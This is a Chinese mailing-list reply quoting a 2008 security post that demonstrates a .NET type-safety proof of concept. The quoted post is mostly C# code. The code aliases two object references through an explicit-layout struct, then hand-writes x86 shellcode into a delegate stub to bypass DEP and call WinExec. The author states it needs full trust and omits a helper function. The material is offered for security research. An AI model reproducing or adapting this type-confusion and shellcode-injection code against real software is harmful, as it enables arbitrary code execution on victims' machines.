VS2008测试没有通过
On 9月16日, 上午10时59分, 大风 <[EMAIL PROTECTED]> wrote:
> Let's start out with some convenient types that allow bit twiddeling once
> we've subverted the type system:
>
> class Union1
> {
> internal volatile int i;
> internal volatile int j;
>
> }
>
> class Union2
> {
> internal volatile object o;
> internal volatile int[] arr;
>
> }
>
> Now we need a way to get two different references to the same object. This
> is where the exploit comes in, but since I'm not going to publish an exploit
> for an unpatched bug, we'll make do with something that works but requires
> full trust:
>
> [StructLayout(LayoutKind.Explicit)]
> struct UnsafeUnion
> {
> [FieldOffset(0)]
> internal Union1 u1;
> [FieldOffset(0)]
> internal Union2 u2;
>
> }
>
> static Union1 TypeSystemHole(Union2 u2)
> {
> // NOT ACTUALLY A SECURITY HOLE!
> // You need full trust to execute this code.
> UnsafeUnion uu = new UnsafeUnion();
> uu.u2 = u2;
> return uu.u1;
>
> }
>
> Now for the interesting bit, getting some x86 code to execute:
>
> Union1 u1;
> Union2 u2 = new Union2();
> u1 = TypeSystemHole(u2);
>
> // u1 and u2 now reference the same object,
> // meaning that we can now convert arbitrary integer
> // into objects or arrays (and v.v.)
>
> ThreadStart del = new ThreadStart(DummyMethod);
>
> // A delegate provides an easy way to call the code we're
> // generating. As it turns out, it is also a good way
> // to bypass DEP, because the delegate stub is in writable
> // executable memory.
>
> u2.o = del;
> u1.j = u1.i;
> u1.j = u2.arr[2] - 12;
>
> // Make the delegate object accessible via the object[],
> // then get the address the delegate points to and make
> // it accessible via the object[] reference.
>
> // The x86 code we're creating is:
> //
> // 6A 05 push 5
> // 68 xx xx xx xx push offset string "calc.exe"
> // B8 xx xx xx xx mov eax,<address of kernel32!WinExec>
> // FF D0 call eax
> // C3 ret
> //
>
> MemoryStream mem = new MemoryStream();
> BinaryWriter bw = new BinaryWriter(mem);
> bw.Write((byte)0x6A);
> bw.Write((byte)0x05);
> bw.Write((byte)0x68);
> u2.o = Encoding.ASCII.GetBytes("calc.exe\0");
> bw.Write(u1.i + 8);
> bw.Write((byte)0xB8);
> bw.Write(GetProcAddressAny("WinExec"));
> bw.Write((byte)0xFF);
> bw.Write((byte)0xD0);
> bw.Write((byte)0xC3);
> bw.Write(0);
>
> // Now that we've created the code, copy it into the delegate
> // stub memory area.
>
> byte[] tmp = mem.ToArray();
> for (int i = 0; i < tmp.Length / 4; i++)
> {
> u2.arr[1 + i] = BitConverter.ToInt32(tmp, i * 4);
>
> }
>
> // Invoke the delegate, which will result in running our
> // code, instead of the delegate stub.
>
> del();
>
> The missing piece is GetProcAddressAny. It basically searches memory for
> kernel32 and looks up the address of the WinExec function.
>
> The full source is available here: TypeSafetyExploitPoC.cs
> <http://www.frijters.net/TypeSafetyExploitPoC.cs.txt>
>
> Note that this PoC requires full trust and obviously only works on x86, but
> all the ideas are applicable to x64 as well.
>
> 2008-9-13 9:03:01 (W. Europe Daylight Time, UTC+02:00)
>
> [Ph4nt0m] <http://www.ph4nt0m.org/>
>
> [Ph4nt0m Security Team]
>
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>
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>
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